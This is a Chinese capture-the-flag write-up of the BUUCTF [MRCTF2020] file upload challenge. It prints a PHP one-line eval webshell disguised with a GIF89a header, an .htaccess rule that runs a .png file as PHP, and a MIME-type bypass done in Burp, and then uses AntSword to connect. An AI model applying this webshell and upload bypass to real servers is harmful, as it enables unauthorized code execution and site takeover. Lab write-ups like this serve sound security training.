Buuctf:[MRCTF2020]你传你呢

文章讲述了在靶机挑战中遇到的图片上传问题,由于文件大小限制无法上传正常图片。作者通过创建一句话木马并伪装成.png文件,然后利用.htaccess文件修改处理方式为PHP,最终成功执行代码并连接蚁剑获取flag。

这名字怎么还骂人呢?
打开靶机
在这里插入图片描述
这个题特别坑人。我们先上传一个图片试试。
在这里插入图片描述
上传不成功。当场给我干蒙了。正常图片也不能传?后来看别人的wp才知道这一题限制文件大小。
好了我们言归正传。思路还是上传一句话木马,链接蚁剑。先编写一句话木马

GIF89a
<?php @eval($_POST['wz']); ?>

然后改文名件改为a.png`然后上传。
然后你会发现无论你怎么改后缀,怎么改语法,就是无法链接蚁剑。说明我们的一句话木马没有运行。我们就得尝试用.user.iniwen文件或者.htaccess文件把我们传入的php代码执行了。我们也不知道网站目录上有没有php文件所以我们尝试用.htaccess文件。
详情可见
我们创建一个名为:

.htaccess` 的文件,内容为:

<FilesMatch "a.png">
SetHandler application/x-httpd-php
</FilesMatch

然后注意这里的那个a.png必须和你上传的文件名相同。
我们上传.htaccess。
在这里插入图片描述
穿不进去。我们打开bp抓包。
在这里插入图片描述
把这里改为image/png来绕过检查。
在这里插入图片描述
成功。然后我们上传我们的一句话木马文件a.png。
在这里插入图片描述
好的,可以看到文件路径为/upload/17f10253549cad63de6355a3b577ad74/a.png。我们打开蚁剑,添加数据。
在这里插入图片描述
欧克,链接成功添加数据,得到flag。
在这里插入图片描述

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值